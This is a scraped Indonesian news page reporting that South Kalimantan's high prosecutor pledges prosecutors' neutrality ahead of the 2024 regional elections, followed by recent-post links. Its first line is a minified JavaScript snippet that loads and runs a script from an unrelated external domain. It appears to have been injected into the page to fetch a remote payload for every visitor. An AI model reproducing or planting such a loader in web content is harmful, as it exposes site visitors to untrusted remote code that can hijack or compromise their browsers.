(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Kajati Kalsel Jamin Netralitas Insan Adhiyaksa Jelang Pilkada 2024


KANALKALIMANTAN.COM, BANJARMASIN – Jajaran Kejaksaan Tinggi (Kejati) Kalimantan Selatan (Kalsel) berkomitmen menjaga netralitas pada Pemilihan Kepala Daerah (Pilkada) 2024.

Hal tersebut disampaikan Kepala Kejaksaan Tinggi (Kajati) Kalsel, Rina Virawati saat peringatan Hari Bhakti Adhiyaksa (HBA) di Banjarmasin, Senin (22/7/2024).

Menurut Kajati Kalsel, sebagai aparatur negara, jaksa tidak diperbolehkan untuk masuk dalam politik praktis.

Baca juga: Pekerja di Banjarmasin Tewas Tertimpa Beton saat Mendongkrak Rumah

Netralitas bagi insan Adhiyaksa pada Pilkada, kata Rina, berdasarkan amanat dari pimpinan Jaksa Agung.

“Insan Adhiyaksa tidak ada yang melakukan politik praktis, kejaksaan netral, netralitas Adhiyaksa adalah harga mati,” tegas Rina Virawati.

Masih kata Rina, untuk kesiapan Pilkada 2024, jajaran intelijen Kejaksaan Negeri (Kejari) di daerah telah membuka posko Pemilu. Termasuk memonitor perkembangan tahapan Pilkada dengan terus berkordinasi bersama pihak terkait.

Baca juga: Harga Minyakita di Banjarbaru Lebihi HET, Stok Susah Diperoleh

Di Bidang Pidana Umum (Pidum), Kejaksaan juga terus bersinergi dengan penegak hukum lainnya melalui Centra Gakkumdu.

“Kami sudah siap, dari Intel sudah ada posko Pemilu di masing-masing kabupaten kota, Centra Gakkumdu bekerja sama Bawaslu bidang Pidum,’ kata Rina.

Adapun terkait jika ada calon kepala daerah baik calin Gubernur/Wakil Gubernur, Bupati/Wakil Bupati, Wali Kota/Wakil Wali Kota yang bermasalah hukum, Kajati Kalsel mengatakan proses hukum akan tetap dilanjutkan.

Baca juga: Bawaslu HSU Memastikan Standar Operasional Prosedur Pengawasan

Akan tetapi, selama pelaksanaan Pilkada, penanganan hukum akan dihentikan untuk sementara hingga Pilkada selesai.

“Bukan dihentikan tapi dipending dulu, nanti setelah selesai Pilkada jika ditemukan kesalahan dan ditemukan bukti awal yang cukup terhadap perbuatan melawan hukum, tetap akan ditindaklanjuti,” kata Kajati Kalsel. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.